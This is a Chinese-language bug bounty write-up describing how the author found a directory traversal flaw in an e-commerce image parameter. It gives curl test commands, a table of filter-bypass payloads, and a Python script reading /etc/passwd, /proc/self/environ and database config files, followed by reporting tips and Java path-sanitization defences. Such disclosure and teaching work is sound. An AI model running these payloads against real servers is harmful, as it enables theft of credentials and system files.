从一次真实的SRC漏洞挖掘说起:我是如何通过一张‘不起眼’的图片找到目录遍历并拿下高额赏金的
从一张图片到高额赏金我的目录遍历漏洞挖掘实战手记那天下午我像往常一样在咖啡厅里刷着某大型电商平台的漏洞赏金计划。这家平台的SRC(Security Response Center)以出手阔绰著称但同时也以防护严密闻名。正当我百无聊赖地翻看平台页面时一张加载缓慢的产品图片引起了我的注意——这看似平常的加载延迟最终让我收获了五位数的高额赏金。1. 目标选取与信息收集的艺术选择合适的目标往往是漏洞挖掘成功的第一步。我通常会避开那些已经被无数白帽子扫荡过的知名平台转而关注那些业务复杂但安全团队相对较小的中型企业。这次的目标虽然规模不小但他们的移动端应用刚完成一次重大改版——新系统往往意味着新漏洞。我的侦察流程通常包括资产测绘使用工具收集所有子域名和IP段技术栈分析识别使用的Web框架、中间件版本敏感文件探测检查robots.txt、sitemap.xml等用户行为观察实际使用平台寻找异常现象提示目录遍历漏洞常出现在文件下载、图片预览、文档查看等功能点这些应该成为重点检查对象。在浏览商品详情页时我注意到一个有趣的现象当快速切换不同颜色的商品图片时URL中的图片名称参数会变化但加载速度有明显差异。这暗示着图片可能来自不同的存储位置或采用了不同的处理方式。2. 从可疑参数到漏洞假设图片加载的URL结构引起了我的警觉https://cdn.example.com/image?nameproduct_1234_red.jpgwidth800这种通过参数动态加载图片的设计让我立即联想到几个关键问题这个name参数是否直接映射到服务器文件系统是否存在路径拼接操作服务端是否对输入进行了充分过滤为了验证这些猜想我开始了初步测试# 测试基础路径遍历 curl https://cdn.example.com/image?name../../../../etc/passwd # 测试编码绕过 curl https://cdn.example.com/image?name%2e%2e%2f%2e%2e%2fetc/passwd第一次尝试返回了400错误但这并不代表漏洞不存在——很多WAF会拦截明显的恶意请求。于是我决定采用更隐蔽的测试方法。3. 绕过防护的实战技巧现代Web应用通常会部署多层防护直接使用../这样的payload很难奏效。经过多次尝试我发现了几种有效的绕过技术绕过技术示例Payload适用场景双重编码%252e%252e%252f当服务端进行多次URL解码时空字节截断../../../etc/passwd%00.jpg当后端检查文件扩展名时超长路径./././[...重复数百次]./etc/passwd针对路径规范化逻辑缺陷大小写混合..%2f..%2f当过滤规则不区分大小写时经过反复测试最终以下payload成功返回了系统文件内容https://cdn.example.com/image?name....//....//....//etc/passwdwidth800这种双写绕过技术之所以有效是因为安全过滤可能只替换了第一次出现的../而忽略了后续变体。4. 漏洞利用与危害证明获取到/etc/passwd文件只是开始真正的挑战是如何证明这个漏洞的实际危害。在漏洞报告中我重点展示了以下几点敏感信息泄露成功读取到包含数据库凭据的配置文件业务影响演示如何获取其他用户的私有图片攻击链构建展示如何结合其他漏洞提升危害等级我使用如下方法收集证据import requests target_files [ /etc/passwd, /proc/self/environ, ../WEB-INF/web.xml, ../../config/database.yml ] for file in target_files: resp requests.get( fhttps://cdn.example.com/image?name{file}width800, headers{User-Agent: Mozilla/5.0} ) if resp.status_code 200: print(f[] 成功读取 {file}) print(resp.text[:200] ...)注意在实际漏洞挖掘中务必遵守最小影响原则只访问证明漏洞必需的文件避免不必要的系统访问。5. 报告撰写与厂商沟通一份优秀的漏洞报告应该包含以下要素清晰的重现步骤按顺序列出操作步骤完整的影响说明详细描述可能造成的危害专业的修复建议提供具体可行的解决方案良好的可读性使用恰当的格式和语言我的报告结构如下漏洞概述简要说明问题性质受影响端点列出存在漏洞的URL重现步骤详细操作指南危害证明截图和文本证据修复建议具体技术方案与厂商的沟通过程中我特别注意使用专业但友好的语气对技术细节保持透明及时回应安全团队的疑问尊重厂商的修复时间表6. 漏洞防御的工程实践从防御者角度预防目录遍历漏洞需要多层次的安全措施输入验证层实施严格的白名单验证规范化所有路径输入过滤特殊字符和序列// Java示例安全的路径处理 public static String sanitizePath(String input) { if (input null) return null; // 规范化路径 String canonicalPath new File(BASE_DIR, input).getCanonicalPath(); // 确保路径在允许的目录下 if (!canonicalPath.startsWith(BASE_DIR)) { throw new SecurityException(非法路径访问); } return canonicalPath; }架构设计层使用内容分发网络(CDN)缓存静态资源实现无状态的文件访问令牌将敏感文件存储在数据库而非文件系统中运维监控层记录所有文件访问请求设置异常访问警报定期进行安全审计这次经历让我深刻体会到安全研究不仅是技术活更是一种思维方式的训练。那些看似微不足道的细节——比如一张加载缓慢的图片——往往隐藏着最有价值的发现。